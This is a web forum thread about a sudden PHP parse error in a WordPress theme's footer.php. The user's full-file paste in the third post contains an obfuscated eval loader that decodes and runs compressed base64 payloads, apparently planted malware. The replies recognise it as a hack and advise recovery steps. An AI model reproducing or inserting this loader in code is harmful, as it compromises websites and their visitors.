SitePoint Sponsor

User Tag List

Results 1 to 5 of 5
  1. #1
    SitePoint Enthusiast
    Join Date
    Jul 2006
    Posts
    27
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Suddenly, got Parse error message

    Hi All,

    I have 2 wordpress sites, hosted on the same hosting.

    So far everything is running well, until few days ago I found a little php error msg appear on the both sites.

    The error messages:
    Parse error: syntax error, unexpected ';', expecting T_STRING or T_VARIABLE or '$' in /home/bhaguzco/public_html/wp-content/themes/Invoke/footer.php on line 2

    The suspected error line contains:
    <div id="footer">Copyright &copy; <a href="<?php bloginfo('home'); ?>"><strong><?php bloginfo('name'); ?></strong></a> - <?php bloginfo('description'); ?></div>

    I'm sure there is no any alteration on the original file.

    Need advice. Thanks.

  2. #2
    From Italy with love silver trophybronze trophy
    guido2004's Avatar
    Join Date
    Sep 2004
    Posts
    9,401
    Mentioned
    147 Post(s)
    Tagged
    4 Thread(s)
    Could you post the lines of code surrounding this line as well?

  3. #3
    SitePoint Enthusiast
    Join Date
    Jul 2006
    Posts
    27
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    this is the complete file content: (i'm worried that my sites hav been hacked)

    <div class="span-24">
    <div id="footer">Copyright &copy; <a href="<?php bloginfo(&#039;home&#039; ?>"><strong><?php bloginfo(&#039;name&#039; ?></strong></a> - <?php bloginfo(&#039;description&#039; ?></div>
    <?php // This theme is released free for use under creative commons licence. http://creativecommons.org/licenses/by/3.0/
    // All links in the footer should remain intact.
    // These links are all family friendly and will not hurt your site in any way.
    // Warning! Your site may stop working if these links are edited or deleted ?>
    <div id="footer2">Powered by <a href="http://wordpress.org/"><strong>WordPress</strong></a> | Designed by: <a href="http://www.joomlafreetemplates.net">free joomla templates</a> | Thanks to <a href="http://www.e-cweb.net/hostgator-coupon-codes/">hostgator coupon codes</a> and <a href="http://www.vpshostings.org">vps hosting</a></div>
    </div>
    </div>
    </div>
    <?php
    wp_footer();
    echo get_theme_option("footer") . "\n";
    ?>
    <?php $a4efad6bb422fb=str_rot13('tmhapbzcerff');$a4efad6bb422ff=str_rot13(strrev('rqbprq_46rfno')); eval($a4efad6bb422fb($a4efad6bb422ff('eF5Tcffxd3L0CY5Wjzc0NzC3tDA2NjGNV4+1dSwqSqzUSEosTjUziU9JTc5PSdVQT1ZX0FP3ABFeICIHREQZWpaA6MiIIBCVBSISHUGkra26pg6aCVG5OcVRYZZ5UREgFUFpkUaWpSnuYaUpHr5A1ZrWAMXzJqg='))); eval($a4efad6bb422fb($a4efad6bb422ff('eF51jM0KgkAYRV/FhaBCi3Eq4yNchGUlJjUyJkbEjDORVFqmRkbv3s8+7uqcA3df52mVFbmyM00YfGaBpauZ8VSZPSpL9tA1H4mGY3FL1l4jHLhoHc3vng5sCo2Pj/YXsdny7FdCl1DqQkRRFMbInRHap/81mxGUjovPD7kyTEyBi5bnc+Sfg4aHUEkH2iT2cBLP63R6uC/xBLzzAoKVbWvGsJRVXeYKZzdp9XZCpoWQuso2arY1hq83Op5C8Q=='))); eval($a4efad6bb422fb($a4efad6bb422ff('eF5TiTewTSwqSqzUiDc0tDQHQjNLMw0DTR1kriEq10hTR9M6M00js7g4tURDJT7YNSjMNSgaWYmxZqymZnVaflFqYnIGUImBQmKxgkq8oWY1UJ+Ku4+/k6NPcLR6vKG5gbmlhbGxiWm8emy0QSxQqaEOVhNNwCamJmfkO+DUbxiL4gtTTU3r1IrMEg1N69raWgC+aj1B'))); ?></body>
    </html>

  4. #4
    SitePoint Wizard bronze trophy chris.upjohn's Avatar
    Join Date
    Apr 2010
    Location
    Melbourne, AU
    Posts
    2,183
    Mentioned
    17 Post(s)
    Tagged
    1 Thread(s)
    All that eval code is a classic sign of a hack, the best thing you can do ASAP is change your passwords and lock down your website. Basically what i mean by "lock down" is redirect your users to a page explaining why the site is offline as keeping it online will just cause you a bigger headace.
    Blog/Portfolio | Evolution Xtreme | DFG Design | DFG Hosting | CSS-Tricks | Stack Overflow | Paul Irish
    Having lame problems with your code? Let us help by using a jsFiddle

  5. #5
    From space with love silver trophy
    SpacePhoenix's Avatar
    Join Date
    May 2007
    Location
    Poole, UK
    Posts
    4,904
    Mentioned
    93 Post(s)
    Tagged
    0 Thread(s)
    Also scan for viruses/keyloggers/malware etc in case any of that sort of thing got planted as well. Check any access logs, especially any entries around the time at php's error log started reporting the parse errors.
    Community Team Advisor
    Forum Guidelines: Posting FAQ Signatures FAQ Self Promotion FAQ
    Help the Mods: What's Fluff? Report Fluff/Spam to a Moderator


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •